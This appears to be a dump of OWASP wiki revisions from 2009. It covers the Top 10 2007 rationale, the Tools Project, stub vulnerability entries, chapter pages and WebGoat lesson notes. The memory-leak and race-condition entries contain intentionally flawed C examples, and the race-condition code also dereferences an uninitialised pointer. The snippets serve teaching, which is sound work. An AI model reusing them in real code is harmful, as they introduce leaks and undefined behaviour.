*[http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management]<br />
<br />
== Why we have ADDED some important issues ==<br />
<br />
'''Cross Site Request Forgery (CSRF) '''is the major new addition to this edition of the OWASP Top 10. Although raw data ranks it at #36, we believe that it is important enough that applications should start protection efforts today, particularly for high value applications and applications which deal with sensitive data. CSRF is more prevalent than its current ranking would indicate, and it can be highly dangerous.<br />
<br />
'''Cryptography''' The insecure uses of cryptography are not the #8 and #9 web application security issues according to the raw MITRE data, but they do represent a root cause of many privacy leaks and compliance issues (particularly with PCI DSS 1.1 compliance).<br />
<br />
== Vulnerabilities, not attacks ==<br />
<br />
The previous edition of the Top 10 contained a mixture of attacks, vulnerabilities and countermeasures. This time around, we have focused solely on vulnerabilities, although commonly used terminology sometimes combines vulnerabilities and attacks. If organizations use this document to secure their applications, and reduce the risks to their business, it will lead to a direct reduction in the likelihood of:<br />
<br />
*'''Phishing attacks''' that can exploit any of these vulnerabilities, particularly XSS, and weak or non-existent authentication or authorization checks ([[Top 10 2007-A1|A1]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])<br />
*'''Privacy violations''' from poor validation, business rule and weak authorization checks ([[Top 10 2007-A2|A2]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A6|A6]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])<br />
*'''Identity theft''' through poor or non-existent cryptographic controls ([[Top 10 2007-A8|A8]] and [[Top 10 2007-A9|A9]]), remote file include ([[Top 10 2007-A3|A3]]) and authentication, business rule, and authorization checks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])<br />
*'''Systems compromise, data alteration, or data''' destruction attacks via Injections ([[Top 10 2007-A2|A2]]) and remote file include ([[Top 10 2007-A3|A3]]) <br />
*'''Financial loss''' through unauthorized transactions and CSRF attacks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A5|A5]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])<br />
*'''Reputation loss''' through exploitation of any of the above vulnerabilities ([[Top 10 2007-A1|A1]] - [[Top 10 2007-A10|A10]])<br />
Once an organization moves away from worrying about reactive controls, and moves forward to proactively reducing risks applicable to their business, they will improve compliance with regulatory regimes, reduce operational costs, and hopefully will have far more robust and secure systems as a result. <br />
<br />
== Biases ==<br />
[[category:FIXME|is the link below (actual attack) correct?]]<br />
The methodology described above necessarily biases the Top 10 towards discoveries by the security researcher community. This pattern of discovery is similar to the methods of [http://www.zone-h.org/component/option,com_attacks/Itemid,43/ actual attack], particularly as it relates to entry-level ("script kiddie") attackers. Protecting your software against the Top 10 will provide a modicum of protection against the most common forms of attack, but far more importantly, help set a course for improving the security of your software.<br />
<br />
== Mapping ==<br />
<br />
There have been changes to the headings, even where content maps closely to previous content. We no longer use the WAS XML naming scheme as it has not kept up to date with modern vulnerabilities, attacks, and countermeasures. The table below depicts how this edition maps to the Top 10 2004, and the raw MITRE ranking:<br />
<br />
{| border='1' cellpadding='2' <br />
!style='background:#FFFF99'|'''<center>OWASP Top 10 2007</center>''' <br />
!style='background:#FFFF99'|'''<center>OWASP Top 10 2004</center>'''<br />
!style='background:#FFFF99'|'''<center>MITRE 2006 Raw Ranking</center>''' <br />
|-<br />
<br />
|'''[[Top 10 2007-A1|A1 - Cross Site Scripting (XSS)]]''' <br />
|'''A4 - Cross Site Scripting (XSS)''' <br />
|'''1'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A2|A2 - Injection Flaws]]''' <br />
|'''A6 - Injection Flaws''' <br />
|'''2'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A3|A3 - Malicious File Execution (NEW)]]''' <br />
| <br />
|'''3'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A4|A4 - Insecure Direct Object Reference]]''' <br />
|'''A2 - Broken Access Control (split in 2007 T10)''' <br />
|'''5'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A5|A5 - Cross Site Request Forgery (CSRF) (NEW)]]''' <br />
| <br />
|'''36'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A6|A6 - Information Leakage and Improper Error Handling]]''' <br />
|'''A7 - Improper Error Handling''' <br />
|'''6'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A7|A7 - Broken Authentication and Session Management]]''' <br />
|'''A3 - Broken Authentication and Session Management ''' <br />
|'''14'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A8|A8 - Insecure Cryptographic Storage]]''' <br />
|'''A8 - Insecure Storage''' <br />
|'''8'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A9|A9 - Insecure Communications (NEW)]]''' <br />
|'''Discussed under A10 - Insecure Configuration Management''' <br />
|'''8'''<br />
|-<br />
<br />
|'''[[Top 10 2007-A10|A10 - Failure to Restrict URL Access]]''' <br />
|'''A2 - Broken Access Control (split in 2007 T10)''' <br />
|'''14'''<br />
|-<br />
<br />
|'''&lt;removed in 2007&gt;''' <br />
|'''A1 - Unvalidated Input''' <br />
|'''7'''<br />
|-<br />
<br />
|'''&lt;removed in 2007&gt;''' <br />
|'''A5 - Buffer Overflows''' <br />
|'''4, 8, and 10'''<br />
|-<br />
<br />
|'''&lt;removed in 2007&gt;''' <br />
|'''A9 - Denial of Service''' <br />
|'''17'''<br />
|-<br />
<br />
|'''&lt;removed in 2007&gt;''' <br />
|'''A10 - Insecure Configuration Management''' <br />
|'''29'''<br />
|}<br />
<br />
<br />
<br />
{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:OWASP_Tools_Project&diff=63507
Category:OWASP Tools Project
2009-06-03T12:50:26Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>'''Welcome to the OWASP Tools Project'''<br />
<br />
The OWASP Tools Project's goal is to provide unbiased, practical information and guidance about application security tools. As of November 2007 your project leader is: <b>Larry Suto</b> and team members are being put together to revise this project.<br />
<br />
You can read Larry's 1st paper [http://ha.ckers.org/blog/20071014/web-application-scanning-depth-statistics/ Version 1.0] and version 2.0 project is now underway with revised criteria and the assistance of OWASP & [http://www.webappsec.org WASC] members and that of the [http://www.reversebenchmarking.org ORB Project]<br />
<br />
Product testing will be performed based on defined criteria that will measure the usability performance and positive validation on “red herring” web applications [http://www.owasp.org/index.php/Owasp_SiteGenerator OWASP Site Generator] this model common systems and unique systems in the wild.<br />
<br />
<hr><br />
<br />
Such tools are generally used to either help:<br />
<br />
* Protect Applications<br />
* Find Vulnerabilities in Applications<br />
* Test Other Application Security Tools<br />
* Educate People on Application Security Topics<br />
<br />
<br />
{| style="background:red; color:white" cellpadding="5" align="center"<br />
| '''WARNING: This project is NOT to advertise or promote tools, just to review them'''<br />
|}<br />
<br />
<br />
==Tool Categories==<br />
<br />
The categories of tools currently addressed by this project are (or will be):<br />
<br />
* [[Web Application Firewall]]s (WAFs)<br />
* Application Vulnerability Scanning Tools<br />
* Application Penetration Testing Tools<br />
* [[Source Code Analysis Tools]]<br />
* Test and Educational Applications<br />
* Application Security Analysis Support Tools<br />
<br />
==Types of Tools==<br />
<br />
* [[:Category:OWASP Tool|Tools from OWASP]]<br />
* [[:Category:Tool|All Application Security Tools]]<br />
* [[:Category:Non-OWASP Open Tool]]<br />
* [[:Category:Commercial Tool]]<br />
<br />
==Overall Approach==<br />
<br />
The goal of this project is to provide the following information (at a minimum) in each tool category:<br />
<br />
* Description of this tool category<br />
* General strengths and weaknesses of tools in this category<br />
* Important selection criteria for comparing tools within the category (e.g. ease of use, performance, cost, likelihood of false positives)<br />
* List of all OWASP Tools in this category<br />
* List of other well known open source tools in this category<br />
* List of commercial tools in this category provided by OWASP Members<br />
* List of other well known commercial tools in this category<br />
<br />
==Other tool-related pages to be considered==<br />
<br />
* [[Appendix A: Testing Tools]]<br />
* [[Tools required]]<br />
* [[Definition for Security Assessment Techniques]]<br />
<br />
==General Application Security Tool Resources==<br />
<br />
; Survey<br />
: In Jan 2006, Dr. Holger Peine finished a survey of application security tools that can be found at: http://www.iese.fraunhofer.de/download/Security-Checker-Tools-for-Web-Applications.pdf. It covers various open source and commercial tools in many of the areas discussed in this project.<br />
<br />
; SAMATE<br />
: The [http://samate.nist.gov/index.php/Main_Page NIST SAMATE - Software Assurance Metrics And Tool Evaluation project] has an ambitious goal of creating a large set of application security test data and then assessing the capabilities of a wide variety of application security tools.<br />
<br />
; Presentation<br />
: At the 3rd AppSec OWASP Conference, Arian Evans did a presentation on [http://www.owasp.org/index.php/Image:AppSec2005DC-Arian_Evans_Tools-Taxonomy.ppt Software Security Quality: Testing Taxonomy & Testing Tools Classification] that lists LOTS of the tools in the application security space from different categories, and some comparitive information on Web Application Security Scanning products.<br />
<br />
==Feedback and Participation==<br />
<br />
We hope you find the OWASP Tools Project useful. Please contribute back to the project by sending your comments, questions, and suggestions to : [mailto:jinxpuppy(at)gmail.com Tom Brennan]<br />
<br />
[[Category:OWASP Project]]<br />
<br />
__NOTOC__</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Memory_leak&diff=63506
Memory leak
2009-06-03T12:50:24Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:Vulnerability}}<br />
{{Template:Fortify}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]<br />
<br />
==Description==<br />
<br />
A memory leak is an unintentional form of memory consumption whereby the developer fails to free an allocated block of memory when no longer needed. The consequences of such an issue depend on the application itself. Consider the following general three cases:<br />
<br />
<br />
{| align="center"<br />
! align="center" style="width:20%; background:#4058A0; color:white" | Case <br />
! align="center" style="width:60%; background:#4058A0; color:white" | Description of Consequence<br />
|-<br />
| style="background:#F2F2F2" | '''Short Lived User-land Application''' || style="background:#F2F2F2" | Little if any noticable effect. Modern operating system recollects lost memory after program termination.<br />
|-<br />
| style="background:#F2F2F2" | '''Long Lived User-land Application''' || style="background:#F2F2F2" | Potentially dangerous. These applications continue to waste memory over time, eventually consuming all RAM resources. Leads to abnormal system behavior<br />
|-<br />
| style="background:#F2F2F2" | '''Kernel-land Process''' || style="background:#F2F2F2" | Very dangerous. Memory leaks in the kernel level lead to serious system stability issues. Kernel memory is very limited compared to user land memory and should be handled cautiously.<br />
|-<br />
|}<br />
<br />
Memory is allocated but never freed.<br />
<br />
Memory leaks have two common and sometimes overlapping causes:<br />
<br />
* Error conditions and other exceptional circumstances. <br />
* Confusion over which part of the program is responsible for freeing the memory <br />
<br />
Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing the program) or take advantage of other unexpected program behavior resulting from a low memory condition [1].<br />
<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Example 1===<br />
The following example is a basic memory leak in C:<br />
<br />
#include <stdlib.h><br />
#include <stdio.h><br />
<br />
#define LOOPS 10<br />
#define MAXSIZE 256<br />
<br />
int main(int argc, char **argv)<br />
{<br />
int count = 0;<br />
char *pointer = NULL;<br />
<br />
for(count=0; count<LOOPS; count++) {<br />
pointer = (char *)malloc(sizeof(char) * MAXSIZE);<br />
}<br />
<br />
free(pointer);<br />
<br />
return count;<br />
}<br />
<br />
:* In this example, we have 10 allocations of size MAXSIZE. Every allocation, with the exception of the last, is lost. If no pointer is pointed to the allocated block, it is unrecoverable during program execution. A simple fix to this trivial example is to place the free() call inside of the 'for' loop.<br />
<br />
:*[http://www.securiteam.com/securitynews/5ZP0M1PIUI.html Here] is a real world example of a memory leak causing denial of service<br />
<br />
===Example 2===<br />
The following C function leaks a block of allocated memory if the call to read() fails to return the expected number of bytes:<br />
<br />
<pre><br />
char* getBlock(int fd) {<br />
char* buf = (char*) malloc(BLOCK_SIZE);<br />
if (!buf) {<br />
return NULL;<br />
}<br />
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {<br />
return NULL;<br />
}<br />
return buf;<br />
}<br />
</pre><br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Denial of Service]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
Avoiding memory leaks in applications is difficult for even the most skilled developers. Luckily, there are tools with aide in tracking down such memory leaks. One such example on the Unix/Linux environment is [http://valgrind.org/ Valgrind]. Valgrind runs the desired program in an environment such that all memory allocation and de-allocation routines are checked. At the end of program execution, Valgrind will display the results in an easy to read manner. The following is the output of Valgrind using the flawed code above:<br />
<br />
[root@localhost Programming]# gcc -o leak leak.c<br />
[root@localhost Programming]# valgrind ./leak<br />
==6518== Memcheck, a memory error detector for x86-linux.<br />
==6518== Copyright (C) 2002-2005, and GNU GPL'd, by Julian Seward et al.<br />
==6518== Using valgrind-2.4.0, a program supervision framework for x86-linux.<br />
==6518== Copyright (C) 2000-2005, and GNU GPL'd, by Julian Seward et al.<br />
==6518== For more details, rerun with: -v<br />
==6518==<br />
==6518==<br />
==6518== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)<br />
==6518== malloc/free: in use at exit: 2304 bytes in 9 blocks.<br />
==6518== malloc/free: 10 allocs, 1 frees, 2560 bytes allocated.<br />
==6518== For counts of detected errors, rerun with: -v<br />
==6518== searching for pointers to 9 not-freed blocks.<br />
==6518== checked 49152 bytes.<br />
==6518==<br />
==6518== LEAK SUMMARY:<br />
==6518== definitely lost: 2304 bytes in 9 blocks.<br />
==6518== possibly lost: 0 bytes in 0 blocks.<br />
==6518== still reachable: 0 bytes in 0 blocks.<br />
==6518== suppressed: 0 bytes in 0 blocks.<br />
==6518== Use --leak-check=full to see details of leaked memory.<br />
<br />
:* As we can see in this example, we leak 9 block with a total of 2304 bytes as we expected. If we were to place the free() call inside of the loop, we would get 0 memory blocks definitely lost.<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
<br />
[1] J. Whittaker and H. Thompson. How to Break Software Security. Addison Wesley, 2003.<br />
<br />
<br />
[[Category:FIXME|add links<br />
<br />
In addition, one should classify vulnerability based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Vulnerability]]</nowiki><br />
<br />
Availability Vulnerability<br />
<br />
Authorization Vulnerability<br />
<br />
Authentication Vulnerability<br />
<br />
Concurrency Vulnerability<br />
<br />
Configuration Vulnerability<br />
<br />
Cryptographic Vulnerability<br />
<br />
Encoding Vulnerability<br />
<br />
Error Handling Vulnerability<br />
<br />
Input Validation Vulnerability<br />
<br />
Logging and Auditing Vulnerability<br />
<br />
Session Management Vulnerability]]<br />
<br />
__NOTOC__<br />
<br />
<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:Code Quality Vulnerability]]<br />
[[Category:C]]<br />
[[Category:Implementation]]<br />
[[Category:Code Snippet]]<br />
[[Category: Vulnerability]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Taiwan_Translation_temporary_page&diff=63505
OWASP Taiwan Translation temporary page
2009-06-03T12:50:23Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Original:<br />
<br />
<br />
{{Chapter Template|chaptername=台灣分會 OWASP Taiwan |extra=歡迎蒞臨OWASP台灣分會!台灣分會會長為 [mailto:wayne@owasp.org.tw 黃耀文先生(Wayne Huang)]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-taiwan|emailarchives=http://lists.owasp.org/pipermail/owasp-taiwan}}<br />
<br />
<br />
Traditional Chinese translation for first section:<br />
<br />
== 歡迎光臨 OWASP {{{chapter_local_name}}} (OWASP {{{chaptername}}}) ==<br />
歡迎來到 OWASP {{{chapter_local_name}}} (OWASP {{{chaptername}}}) 的網站. {{{extra}}}<br />
<br />
<br />
where chapter_local_name is:<br />
<br />
台灣分會<br />
<br />
meaning "Taiwan Local Chapter"<br />
<br />
<br />
<br />
Traditional Chinese translation for second section:<br />
<br />
== 歡迎您的參與 ==<br />
<br />
加入OWASP台灣分會不需任何費用,會員資格完全開放給任何對於應用程式安全有興趣的人士,<br />
<br />
我們鼓勵會員於OWASP台灣分會分享他們的知識並提供專題演講,<br />
<br />
而在加入會員前,請您仔細閱讀[https://www.owasp.org/index.php/Chapter_Rules 分會會員手則]。<br />
<br />
<br />
若要加入本分會的mailing list,請連結到[http://lists.owasp.org/mailman/listinfo/owasp-taiwan mailing list]網頁,<br />
<br />
所有的活動討論與活動地點將透過這個清單來討論,<br />
<br />
您也可以從[http://lists.owasp.org/pipermail/owasp-taiwan/ email 討論備份]中找到我們之前討論的備份。<br />
<br />
最後提醒您,參加活動前,請再次檢查您mailing list的信件以確定活動地點與時間,或是任何有關活動記錄的事項。</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Insufficient_Entropy&diff=63504
Insufficient Entropy
2009-06-03T12:50:22Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:Stub}}<br />
{{Template:Vulnerability}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]<br />
<br />
==Description==<br />
<br />
When an undesirably low amount of entropy is available. Psuedo Random Number Generators are susceptible to suffering from insufficient entropy when they are initialized, because entropy data may not be available to them yet.<br />
<br />
==Risk Factors==<br />
<br />
TBD<br />
<br />
==Examples==<br />
<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
<br />
* In many case,s a PRNG uses a combination of the system clock and entropy to create seed data. If insufficient entropy is available, an attacker can reduce the size magnitude of the seed value considerably. Furthermore, by guessing values of the system clock, they can create a manageable set of possible PRNG outputs.<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* Many PRNG's (/dev/random and /dev/urandom for example) store their last value before shutdown. By using this value at intialization, they can sometimes avoid insufficient or predictable starting entropy.<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
<br />
TBD<br />
<br />
<br />
__NOTOC__<br />
<br />
<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:Cryptography]]<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:Vulnerability]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Panama_City&diff=63500
Panama City
2009-06-03T12:50:21Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Chapter Template|chaptername=Panama|extra=The chapter leader is [mailto:mtrabucco@asira.org.ar Martin Horacio Trabucco]<br />
<paypal>Panama</paypal><br />
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-panama|emailarchives=http://lists.owasp.org/pipermail/owasp-panama}}<br />
<br />
==Bienvenido==<br />
<br />
Bienvenido al capítulo oficial de OWASP en la República de Panamá, fundado en enero de 2006. Nuestro propósito es el libre desarrollo del conocimiento, en un ámbito de estudio para perfeccionar el saber en seguridad sobre aplicativos web.<br />
<br />
Nuestras reuniones están dirigidas a investigadores, desarrolladores, especialistas y a todo aquel entusiasta de la Seguridad de la Información de la República de Panamá, las cuales se llevan a cabo durante el segundo jueves de cada mes. Si quieres participar de nuestro capítulo, puedes ingresar al mail list y así compartir junto a nosotros todas tus inquietudes. <br />
<br />
El líder del capítulo oficial de OWASP en la República de Panamá, es el presidente de DIGITAL TRUSTED Corporation, Lic. Martín Horacio Trabucco.<br />
<br />
== Location ==<br />
'''Panama,Republic of Panama''' <br />
<br />
Our meetings are addressed to all the professionals and specialist in Information Security in The Republic of Panama, which will be taking place in our facilities located in ISIC (International Security Information Center), Ciudad del Saber, on each second Thursday every month.<br />
<br />
== Local News ==<br />
<br />
'''OWASP Moves to MediaWiki Portal - 11:30, 20 May 2006 (EDT)'''<br />
<br />
OWASP is pleased to announce the arrival of OWASP 2.0!<br />
<br />
OWASP 2.0 utilizes the MediaWiki portal to manage and provide<br />
the latest OWASP related information. Enjoy!<br />
<br />
<br />
== <br />
'''Acercamiento Virtual''' ==<br />
<br />
Fecha: jueves 29 de junio, 2006<br />
Hora: 3:00 p.m.<br />
Localidad: Servidor IRC de OWASP-Panamá<br />
<br />
Primer acercamiento virtual de miembros de Owasp-Panamá con invitados especiales de Owasp-Argentina, como actividad inaugural de nuestro servidor de IRC.<br />
La idea es tener un punto de encuentro virtual, para mantenernos en una comunicación más fluida con miembros de nuestra y otras comunidades.<br />
En esta reunión se establecieron temas de interés y objetivos en común de los miembros. <br />
<br />
<br />
<br />
== <br />
'''Virtual approximation''' ==<br />
<br />
date: on Thursday, the 29th of June, 2006<br />
Hour: 3:00 p.m.<br />
Location: OWASP-Panamá IRC Server.<br />
<br />
The members' first virtual approximation of Owasp-panama hat with special guests of Owasp-Argentine, as inaugural activity of our IRC server.<br />
The idea is to have a point of virtual meeting, to be keep fluid communication with members of our and others communities.<br />
In this meeting topics of interest were established and objectives in common of the members.</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Autumn_of_Code_2006_-_Projects:_Web_Goat_-_Progress&diff=63502
OWASP Autumn of Code 2006 - Projects: Web Goat - Progress
2009-06-03T12:50:21Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[OWASP_Autumn_of_Code_2006_-_Projects:_Web_Goat|Project Main Page]]<br />
<br />
== Lessons to be Implemented: ==<br />
<br />
* DOM Injection - '''Done'''<br />
* XML Injection - '''Done'''<br />
* XMLRPC Attacks - Replaced by JSON Injection - '''Done'''<br />
* Silent Transactional Authorizational Attacks - '''Done'''<br />
* HTTP Splitting - '''Done'''<br />
* Log Spoofing - '''Done'''<br />
* Cache Poising - '''Done'''<br />
* Cross-Site Request Forgery (CSRF) - '''Done'''<br />
* Back Doors '''Done'''<br />
* XPATH Injection '''Done'''<br />
* Buffer Overflow - Will be taken care of by Bruce<br />
* How to Perform Parameter Injection - Replaced by How to Add a new lesson lesson - '''Done'''<br />
* Forced Browsing - '''Done'''<br />
<br />
* Manual and Installation Guide: '''Done'''<br />
<br />
== Daily Notes ==<br />
<br />
=== Week 01 - Oct 08 ===<br />
* Checked out the source code.<br />
* Built the project from scratch<br />
* Got the environment ready<br />
* Added a skeleton for Http Splitting lesson<br />
* Worked on updating the project page<br />
* Finished working on the HTTP Spliting lesson and committed the code.<br />
* Started investigating the CSRF (Cross-Site Request Forgery) attacks.<br />
<br />
=== Week 02 - Oct 15 ===<br />
<br />
=== Week 03 - Oct 22 ===<br />
* Finished working on Cross-Site Request Forgery Attacks.<br />
<br />
=== Week 04 - Oct 29 ===<br />
* Continued working on Log Spoofing lesson.<br />
* Finished working on Log Spoofing lesson.<br />
* Started working on Parameter Injection and Forced Browsing lessons<br />
<br />
=== Week 05 - Nov 05 ===<br />
* Finished and submitted Log Spoofing lesson<br />
* Finished and submitted Forced Browsing lesson.<br />
<br />
=== Week 06 - Nov 12 ===<br />
- Added How to add a new lesson lesson.<br />
- Started working on the AJAX-specific lessons<br />
<br />
=== Week 07 - Nov 19 ===<br />
* Worked on XML injection attacks<br />
* Started working on DOM injection attacks<br />
<br />
=== Week 08 - Nov 26 ===<br />
<br />
=== Week 09 - Dec 03 ===<br />
* Started working on integrating WebGoat to OSG.<br />
* Got OSG working localy.<br />
* Starting working on a filter for the requests that can be enabled or disabled using the config file (web.xml).<br />
* Started working on the first AJAX lesson: DOM Injection.<br />
<br />
=== Week 10 - Dec 10 ===<br />
* Finished working on a Tomcat connetor to OSG.<br />
* Finished working on DOM Injection lesson<br />
<br />
=== Week 11 - Dec 17 ===<br />
* Worked on cache poisining<br />
* Worked on XML Injections<br />
* Added gratifications to HTTP Splitting<br />
<br />
=== Week 12 - Dec 24 ===<br />
* Finished XML Injections<br />
* Finished working on Cache Poisining <br />
* Added a hint for the user per Jeff's comments.<br />
* Working on JSON injection<br />
<br />
=== Week 13 - Dec 30 ===<br />
- Finished SQL Backdoors attacks<br />
- Finished JSON Injection</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Race_condition_in_switch&diff=63503
Race condition in switch
2009-06-03T12:50:21Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[Race Conditions]]<br />
<br />
<br />
__TOC__<br />
<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
<br />
If the variable which is switched on is changed while the switch statement is still in progress, undefined activity may occur.<br />
<br />
'''Consequences'''<br />
<br />
* Undefined: This flaw will result in the system state going out of sync.<br />
<br />
'''Exposure period'''<br />
<br />
* Implementation: Variable locking is the purview of implementers.<br />
<br />
'''Platform'''<br />
<br />
* Languages: All that allow for multi-threaded activity<br />
* Operating platforms: All<br />
<br />
'''Required resources'''<br />
<br />
Any<br />
<br />
'''Severity'''<br />
<br />
Medium<br />
<br />
'''Likelihood of exploit'''<br />
<br />
Medium<br />
<br />
This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. <br />
<br />
If the variable which we are switching on change in the course of execution, the actions carried out may place the state of the process in a contradictory state or even result in memory corruption. <br />
<br />
For this reason, it is important to ensure that all variables involved in switch statements are locked before the statement starts and are unlocked when the statement ends.<br />
<br />
<br />
<br />
==Risk Factors==<br />
<br />
TBD<br />
<br />
==Examples==<br />
<br />
<br />
In C/C++:<br />
<br />
<pre><br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
<br />
int main(argc,argv){<br />
struct stat *sb;<br />
time_t timer;<br />
<br />
lstat("bar.sh",sb);<br />
<br />
printf("%d\n",sb->st_ctime);<br />
switch(sb->st_ctime % 2){<br />
case 0: printf("One option\n");break;<br />
case 1: printf("another option\n");break;<br />
default: printf("huh\n");break;<br />
}<br />
<br />
return 0;<br />
}<br />
</pre><br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
==Related [[Controls]]==<br />
<br />
* Implementation: Variables that may be subject to race conditions should be locked for the duration of any switch statements.<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
<br />
TBD</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Incorrect_Privilege_Assignment&diff=63496
Incorrect Privilege Assignment
2009-06-03T12:50:14Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
#REDIRECT [[:: Category:Vulnerability]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
A vulnerability is a weakness in an application (frequently a broken or missing control) that enables an attack to succeed. Be sure you don't put [attacks] or [controls] in this category.<br />
<br />
# Start with a one-sentence description of the vulnerability<br />
# What is the problem that creates the vulnerability?<br />
# What are the attacks that target this vulnerability?<br />
# What are the technical impacts of this vulnerability?<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]<br />
<br />
<br />
__NOTOC__</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Education_Project_Modules&diff=63497
OWASP Education Project Modules
2009-06-03T12:50:14Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>= OWASP Module Template =<br />
<br />
= Modules =<br />
The current list is grouped below in the Education Module Category. These modules are the building blocks of the Education Tracks. <br />
<br />
